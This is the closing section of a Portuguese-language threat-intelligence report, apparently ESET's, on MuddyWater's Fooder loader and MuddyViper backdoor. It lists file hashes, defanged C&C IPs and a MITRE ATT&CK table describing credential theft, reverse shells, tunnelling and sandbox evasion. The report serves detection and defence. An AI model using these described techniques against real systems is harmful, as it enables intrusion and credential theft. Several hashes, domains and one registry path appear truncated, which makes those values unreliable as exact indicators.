Essa campanha indica uma evolução na maturidade operacional do MuddyWater. A implementação de componentes anteriormente não documentados, como o carregador Fooder e o backdoor MuddyViper, sinaliza um esforço para aprimorar os recursos de furtividade, persistência e coleta de credenciais. O uso de técnicas de evasão inspiradas em jogos, tunelamento reverso e um conjunto diversificado de ferramentas reflete uma abordagem mais refinada do que em campanhas anteriores, embora permaneçam traços da imaturidade operacional do grupo.
O MuddyWater continua sendo capaz de executar campanhas de nível médio a acima da média, ou seja, oportunas, eficazes e cada vez mais difíceis de defender. Embora avaliemos que o grupo seguirá como um agente relevante nas atividades relacionadas ao Irã, prevemos a continuidade de campanhas típicas, porém aprimoradas por TTPs mais avançadas.
A ESET continuará monitorando as atividades do grupo, concentrando-se em novos sinais de avanço técnico e direcionamento estratégico do governo, militares, telecomunicações e infraestrutura crítica.
Para qualquer dúvida sobre nossa pesquisa publicada no WeLiveSecurity, entre em contato conosco pelo e-mail threatintel@eset.com.
Indicadores de Comprometimento
Arquivos
| SHA-1 | Filename | Detection | Description |
| 76632910CF67697BF5D7 |
OsUpdater |
Win64/MuddyWater.E | MuddyWater – Fooder launcher. |
| 1723D5EA7185D2E339FA |
Blub |
Win64/MuddyWater.H | MuddyWater – Blub browser-data stealer. |
| 69B097D8A3205605506E |
Blub |
Win64/MuddyWater.H | MuddyWater – Blub browser-data stealer. |
| B7A8F09CB5FF8A336539 |
Blub |
Win64/MuddyWater.H | MuddyWater – Blub browser-data stealer. |
| B8997526E4781A6A1479 |
stealer |
Win64/MuddyWater.H | MuddyWater – Blub browser-data stealer. |
| 8E21DE54638A79D8489C |
7d1e9726b5YZPYc |
Win32/MuddyWater.B | MuddyWater – CE-Notes browser-data stealer. |
| CD47420F5CE408D95C98 |
fe197add74IVcQn |
Win64/MuddyWater.I | MuddyWater – CE-Notes browser-data stealer. |
| C1299E8C9A8567A9C292 |
vmsvc |
Win64/MuddyWater.I | MuddyWater – CE-Notes browser-data stealer. |
| 29CDA06701F9A9C0A679 |
3a70e4c8c2IVcQn |
Win64/MuddyWater.C | MuddyWater – LP-Notes credential stealer. |
| 8F3ED626E7B929450E36 |
3a70e4c8c2IVcQn |
Win64/MuddyWater.C | MuddyWater – LP-Notes credential stealer. |
| 007B5CD6D6ACF972F774 |
Dsync-es |
Win64/MuddyWater.F | MuddyWater – Mimikatz loader. |
| CD36F93DBC4C71893059 |
App_chek |
Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded HackBrowserData tool. |
| 47B70C47BEB33E88B419 |
steam |
Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded go‑socks5 reverse tunnel. |
| D46900D78AE036967E0B |
antimage |
Win32/MuddyWater.A | MuddyWater – Fooder loader with embedded go‑socks5 reverse tunnel. |
| 0657D0B0610618886DDD |
wtsapi32.dll | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| 2939FD218E0145D730BD |
msi.dll | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| 3BC6502A55A4D5D29132 |
WinWin |
Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| 7950296331802188EB99 |
20241118_223247 |
Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| 8580824FE14DB1583881 |
Launcher.dll | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| B48B93B4EB69D01588D3 |
Launcher |
Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| EA8A1C2382FF765709D7 |
vcruntime140_1 |
Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| EAF4BAFC62170C9FCA1F |
Launcher |
Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| F5EFBA6CCBA5A6AD6C3A |
ncrypt.dll | Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| 13DA612D75DC5268F523 |
WinWin(persist) |
Win64/MuddyWater.G | MuddyWater – Fooder loader with embedded MuddyViper backdoor. |
| 25361183DE63F296BA71 |
0bff183a39ruQsY |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 0E9A4892CFA1C9065B36 |
20d188afdcpfLFq |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 2B09241CA025BDC4455E |
dttcodexgigas |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 2E9BE23CDD8152DB6CD1 |
7295be2b1fHxjyf |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 45FA7DE711FEA1F8D1E3 |
fa54125dc8ZpaNJ |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 4E0EF2386980639FC535 |
20d188afdcWgOQB |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 4E9529BA4A6E42D6278D |
bd34a33f5bHOVby |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 50C6D4A2AD16A231CF11 |
re |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 52009F36058337B6401D |
bd34a33f5bHOVby |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 535882B6EDAB29247E03 |
20d188afdcpfLFq |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 544CE18E4C1F1B288DEE |
1110254b63WfTEa |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 54EBC125039CC83E4682 |
FMAPP.dll | WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 5A08150C1DC17E9F6912 |
bd34a33f5bJeJOf |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 proxy reverse tunnel. |
| 5D1E61DA8083C41FF1FC |
bd34a33f5bJeJOf |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 6532E0437C8913FA418F |
7295be2b1fHxjyf |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 6CA41565844118385B34 |
re |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 6FC50A99AAE1D6C40111 |
8525e604dfKuDNr |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 826CFF5D85713CE4B2F3 |
bd34a33f5bJeJOf |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 87ADD79C7C8335447113 |
20d188afdcpfLFq |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 93055115559219BE8441 |
main |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 97C3376AB551E899F347 |
504f53ca8esoLmG |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| 99FAD0862E2E8D363F3E |
20d188afdcpfLFq |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| A101CBCCD950AA36FC3B |
66f3e097e4tnyHR |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| A227C0A4425E24268B75 |
fa54125dc8ZpaNJ |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| A997A7AAE727D2C12CCE |
fa54125dc8ZpaNJ |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| B0271CA76052EC340014 |
7295be2b1fAzMZI |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| B0CD4F5DF192BFFE6500 |
20d188afdcpfLFq |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| B16E7D56A8DC0FF6B3AF |
ESETGO |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| D49979D0063B28BD7339 |
20d188afdcpfLFq |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| D518F5C648AB64B390A2 |
bd34a33f5bHOVby |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| DF223D653F761ED55F9C |
66f3e097e4tnyHR |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| DF8FC5213AA11EE445EA |
Revoke.dll | WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| E02DD79A8CAED662969F |
66f3e097e4tnyHR |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| E8F4EA3857EF5FDFEC1A |
main |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| F26CAE9E79871DF3A47F |
7295be2b1fAzMZI |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| FF09608790077E1BA52C |
20d188afdcpfLFq |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
| A9747A3F58F8F408FECE |
AppVs |
WinGo/TrojanProxy |
MuddyWater – go‑socks5 reverse tunnel. |
Rede
| IP | Domain | Hosting provider | First seen | Details |
| 3.95.7[.]142 | N/A | Amazon Data Services NoVa | 2024‑09‑08 | MuddyWater C&C server. |
| 35.175.224[.]64 | N/A | Amazon Technologies Inc. | 2024‑10‑10 | MuddyWater C&C server. |
| 51.16.209[.]105 | api.tikavod |
Amazon Data Services Ireland Technical Role Account | 2024‑09‑15 | MuddyWater C&C server. |
| 62.106.66[.]112 | N/A | RIPE-NCC-HM-MNT, ORG-NCC1-RIPE | 2024‑09‑29 | MuddyWater staging server. |
| 157.20.182[.]45 | N/A | Hosterdaddy Private Limited | 2024‑04‑18 | MuddyWater staging server. |
| 161.35.172[.]55 | N/A | DigitalOcean, LLC | 2022‑11‑12 | MuddyWater staging server. |
| 167.99.224[.]13 | magically |
DigitalOcean, LLC | 2022‑11‑06 | MuddyWater C&C server. |
| 194.11.246[.]78 | N/A | HosterDaddy Private Limited | 2024‑07‑23 | MuddyWater C&C server. |
| 194.11.246[.]101 | processplan |
Administrator | 2024‑08‑27 | MuddyWater staging and C&C server. |
| 206.71.149[.]51 | N/A | BL Networks | 2023‑10‑30 | MuddyWater staging server. |
| 212.232.22[.]136 | N/A | HosterDaddy Private Limited | 2025‑01‑16 | MuddyWater C&C server. |
Técnicas do MITRE ATT&CK
Esta tabela foi criada usando a versão 17 da estrutura MITRE ATT&CK.
| Tactic | ID | Name | Description |
| Reconnaissance | T1591 | Gather Victim Org Information | MuddyWater gathers victim org info to use in spearphishing emails. |
| Resource Development | T1583 | Acquire Infrastructure | MuddyWater uses acquired infrastructure to host malware download locations and C&C servers. |
| T1608 | Stage Capabilities | MuddyWater stages tools like RMM tools and data stealers on file-hosting sites such as OneHub and Mega Limited. | |
| T1587.001 | Develop Capabilities: Malware | MuddyWater develops backdoors like MuddyViper and tools such as the Fooder loader, LP-Notes credential stealer, and the Blub and CE-Notes browser-data stealers. | |
| T1588.002 | Obtain Capabilities: Tool | MuddyWater uses publicly available tools from GitHub, such as HackBrowserData and Go-based reverse proxies. | |
| Initial Access | T1566.002 | Phishing: Spearphishing Link | MuddyWater uses spearphishing emails with links to file hosting sites like OneHub and Mega Limited to host RMM software (Atera, Level, and PDQ). |
| Execution | T1059.001 | Command-Line Interface: PowerShell | MuddyViper has the capability to open and execute PowerShell scripts. |
| T1059.003 | Command-Line Interface: Windows Command Shell | MuddyViper has the capability to offer the Windows Command shell as a reverse shell. | |
| T1559.001 | Inter-Process Communication: Component Object Model | MuddyViper uses the ITaskService COM object to create a scheduled task for persistence. | |
| T1106 | Native API | MuddyViper uses the CreateProcess API to execute additional files and commands. | |
| T1204.001 | User Execution: Malicious Link | MuddyWater operators rely on targets clicking malicious links delivered through spearphishing. | |
| Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | MuddyViper has the capability to copy itself to the victim’s Startup folder. |
| T1543.003 | Create or Modify System Process: Windows Service | MuddyWater operators attempt to install RMM tools in %PROGRAMFILES%, which also includes creating a Windows service set to autostart. | |
| T1053 | Scheduled Task/Job | MuddyViper can be persisted as a scheduled task named ManageOnDriveUpdater. | |
| Defense Evasion | T1134.001 | Access Token Manipulation: Token Impersonation/Theft | The LP-Notes and CE-Notes tools attempt to impersonate a logged-on user’s security context via ImpersonateLoggedOnUser. |
| T1140 | Deobfuscate/Decode Files or Information | Blub uses string obfuscation for storing stolen data. Fooder can extract embedded, AES-encrypted payloads. CE-Notes and LP-Notes both use a custom byte-wise decryption routine to decrypt strings. |
|
| T1620 | Reflective Code Loading | The Fooder loader performs reflective code loading to run additional tools (MuddyViper, reverse tunnels, and HackingBrowserData). | |
| T1497.003 | Virtualization/Sandbox Evasion: Time Based Evasion | MuddyViper uses many calls to a sleep function to detect and avoid virtualization and analysis environments, and generally to inhibit dynamic analysis. | |
| T1027.007 | Obfuscated Files or Information: Dynamic API Resolution | CE-Notes and LP-Notes perform dynamic API resolution by decrypting strings at runtime. | |
| T1134.002 | Access Token Manipulation: Create Process with Token | Fooder’s launcher attempts to duplicate the token of a process specified by the operator when launching Fooder via CreateProcessAsUserA. | |
| T1622 | Debugger Evasion | MuddyViper searches for specific debugging tools, adjusting its behavior accordingly. | |
| T1070.009 | Indicator Removal: Clear Persistence | MuddyViper can modify registry keys used for persistence, if instructed to uninstall itself. | |
| T1070.004 | Indicator Removal: File Deletion | MuddyViper can delete itself from the system, if instructed to uninstall itself. | |
| T1036 | Masquerading | Some versions of Fooder masquerade as an innocuous Snake game. | |
| T1036.004 | Masquerading: Masquerade Task or Service | MuddyViper can create a task named ManageOnDriveUpdater. | |
| T1112 | Modify Registry | MuddyViper can modify the HKCU\Software\Microsoft\Windows\CurrentVe |
|
| T1027.009 | Obfuscated Files or Information: Embedded Payloads | Fooder can extract an embedded, AES-encrypted payload. | |
| T1027.013 | Obfuscated Files or Information: Encrypted/Encoded File | Fooder can extract an embedded, AES-encrypted payload. | |
| Credential Access | T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | CE-Notes and Blub attempt to steal credentials stored in browsers. |
| T1056.002 | Input Capture: GUI Input Capture | MuddyViper and LP-Notes have the ability to display a Windows security login prompt to capture login credentials and confirm the credentials’ veracity by relaying those credentials to legitimate Windows APIs. | |
| Discovery | T1082 | System Information Discovery | MuddyViper collects system information from compromised systems and reports it back to the C&C server. |
| T1518.001 | Software Discovery: Security Software Discovery | MuddyViper attempts to get a process list of running applications, looks for security-related processes and, if found, reports them to the C&C server and modifies its behavior. | |
| Collection | T1074.001 | Data Staged: Local Data Staging | Blub, CE-Notes, and LP-Notes stage stolen credentials on disk for MuddyViper, reverse tunnels, or RMM tools to collect and exfiltrate. |
| T1560.001 | Archive Collected Data: Archive via Utility | MuddyViper uses PowerShell’s Compress-Archive command to compress browser data collected via the HackBrowserData utility. | |
| Command and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography | MuddyViper uses AES-CBC encryption to encrypt data before exchanging data with the C&C server. |
| T1219 | Remote Access Software | MuddyWater use Atera, Level, and PDQ RMM tools for remote access to victims’ systems. | |
| T1071.001 | Application Layer Protocol: Web Protocols | MuddyViper uses HTTPS for C&C communications. The reverse tunnels use a mixture of HTTP and HTTPS for C&C communications. | |
| T1105 | Ingress Tool Transfer | MuddyViper has the capability to download additional payloads from its C&C server. | |
| T1001 | Data Obfuscation | MuddyViper leverages HTTPS for C&C communications, using the Status header to hide a backdoor command ID in the server-to-client direction of the communication. | |
| T1090 | Proxy | MuddyWater uses customized versions of go‑socks5 reverse proxy tools. | |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | MuddyWater tools exfiltrate data to C&C servers using C&C channels (HTTP and HTTPS). |
| T1030 | Data Transfer Size Limits | MuddyViper supports downloading/uploading files in chunks of limited size. |




